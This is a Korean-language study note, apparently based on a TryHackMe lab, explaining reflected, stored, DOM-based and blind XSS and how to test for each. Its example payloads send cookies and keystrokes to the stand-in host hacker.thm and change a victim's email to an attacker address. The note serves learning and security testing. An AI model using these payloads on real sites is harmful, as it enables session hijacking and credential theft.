XSS로 잘 알려진 Cross-site Scripting은 JS 코드를 의도적으로 다른 사용자가 실행하도록 삽입하는 Injection 공격이다.
JS에 대한 전문적 지식은 없지만 이번에는 XSS유형과 XSS 페이로드의 생성방법, 필터 우회를 위해 페이로드를 수정하는 방법 등을 배워본다.
Cross-site Scripting(이하 XSS)취약점은 매우 흔한데,
Shopify, Steam 챗, HackerOne, Instagram에서 발견된 XSS 취약점은 대규모 애플리케이션에서 발견된 몇 사례이다.
XSS에서 페이로드란 타겟 컴퓨터에서 실행되기 바라는 JS 코드이다.
페이로드는
웹사이트에서 XSS를 수행할 수 있음을 증명하는 페이로드이다.
일반적으로 <script>alert('XSS');</script>같은 alert를 팝업한다.
로그인 토큰과 같은 세션 정보처럼 컴퓨터 쿠키에 저장되는 경우 <script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
위와 같은 JS는 쿠키를 가져와서 base64로 인코딩해 공격자가 제어하는 웹사이트에 개시한다.
그럼 타겟의 쿠키로 세션을 훔쳐 해당 사용자로 기록될 수 있다.
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );</script>
위와 같은 코드의 삽입으로 웹페이지에 입력하는 모든 내용이 공격자가 제어하는 웹사이트에 전송된다.
만약 로그의 구성 중 페이로드가 신용카드 정보 혹은 로그인 정보에 삽입되면 그대로 기록이 넘어가게 된다.
위 경우보다 더 구체적인 페이로드로 특정 네트워크 리소스나 JS 함수를 호출하는 것이다.
만약 타겟 웹사이트에 사용자의 이메일 주소를 변경하는 로직인 user.changeEmail()이라는 JS 함수가 있다고 가정하자.
<script>user.changeEmail('attacker@hacker.thm');</script>
위 코드를 삽입할 수 있고 비밀번호를 재설정하는 등 공격을 할 수도 있다.
반사형 XSS라고도 하는 이 공격은 HTTP 리퀘스트에서 사용자가 제공한 데이터가 validation 없이 웹페이지 소스에 포함될 때 발생할 수 있다. 애플리케이션에서 error 파라미터의 내용을 확인하지 않아 공격자가 악성 스크립트를 삽입할 수 있다.

시나리오
현재 웹 페이지에 다른 웹 페이지를 표시할 수 있는 <iframe>에 JS 페이로드가 포함된 링크를 삽입해서 잠재적 피해자가 브라우저에서 해당 코드를 실행하도록 유도할 수도 있다.
반사형 XSS 테스트 방법
위 엔트리포인트를 모두 테스트할 필요가 있다.
웹 애플리케이션에 반영되는 데이터를 찾으면 JS 페이로드를 실행할 수 있는지 확인해야 한다.
페이로드는 코드가 반영되는 위치마다 달라지므로 주의해야 한다.
저장형 XSS는 말그대로 XSS 페이로드가 데이터베이스와 같은 애플리케이션 내에 저장됐다가 다른 사용자가 웹 페이지를 방문할 때 실행된다.

시나리오
악성 스크립트는 사용자를 리다이렉션 하거나 세션 쿠키를 훔쳐 사용자로 위장해 웹 사이트에서 작업을 할 수 있다.
저장형 XSS 테스트 방법
데이터가 저장되고 다른 사용자가 접근할 수 있는 영역의 모든 엔트리 포인트를 테스트해야 한다.
웹 애플리케이션을 개발할 때 개발자는 입력 제한을 거는 것으로 충분하다고 생각할 수 있다.
때문에 예상하지 못하는 값으로 변경하는 것이 XSS를 발견할 수 있는 방법일 수 있다.
만약 드롭다운 메뉴와 같은 곳에서 Integer를 선택하는 것으로 입력을 기대하는 Age 필드 같은 경우, 페이로드를 삽입해 수동으로 리퀘스트를 보낸다면 해당 값이 서버에 저장될 수 있다.
이후 사용자가 해당 데이터에 접근하려고 드롭다운 메뉴를 열면 스크립트가 실행될 수 있다.
DOM이란 Document Object Model로 HTML 및 XML문서를 위한 프로그래밍 인터페이스이다.

문서의 구조나 스타일 및 콘텐츠를 변경하도록 페이지를 나타내는데, 웹 페이지는 문서이고 브라우저에 표시되거나 HTML 소스로 표시된다.
DOM 기반 XSS는 새 페이지를 로드하거나 백엔드에서 데이터를 제출하지 않고 브라우저에서 스크립트가 직접 실행된다.
웹 사이트의 JS 코드가 입력이나 사용자의 Interaction에 의해 반응할 때 실행된다.
시나리오
window.location.hash 파라미터에서 콘텐츠를 가져오고 현재 보고 있는 페이지에 작성한다.잠재적 영향
링크가 조작된 경우 잠재적 피해자에게 전송되고 다른 웹 사이트로 리다이렉션 되거나 페이지, 혹은 사용자의 세션을 훔칠 수 있다.
DOM 기반 XSS 테스트 방법
해당 코드를 찾는다면 어떻게 처리되는지, 값이 DOM에 기록되는지 혹은 eval()같은 취약한 JS 메서드에 전달되고 있는지를 확인해야 한다.
Blind XSS는 다른 사용자가 볼 수 있도록 페이로드가 웹 사이트에 저장된다는 점에서 저장형 XSS와 비슷하다.
하지만 페이로드가 실행되는 것을 보거나 직접 테스트할 수 없다.
시나리오
공격자의 JS 스크립트가 올바른 페이로드를 사용해 공격자의 웹사이트로 다시 호출해서 직원의 개인 포털 URL, 쿠키, 그리고 포털 페이지의 현재 내용까지 노출할 수 있고, 세션을 훔쳐 개인 포털에 접근할 수 있다.
Blind XSS 테스트 방법
Blind XSS 공격은 XSS Hunter Express라는 도구로 널리 사용된다. 물론 JS 코드를 직접 작성할 수도 있지만, 해당 도구는 쿠키, URL, 콘텐츠를 자동으로 잡아준다. (!)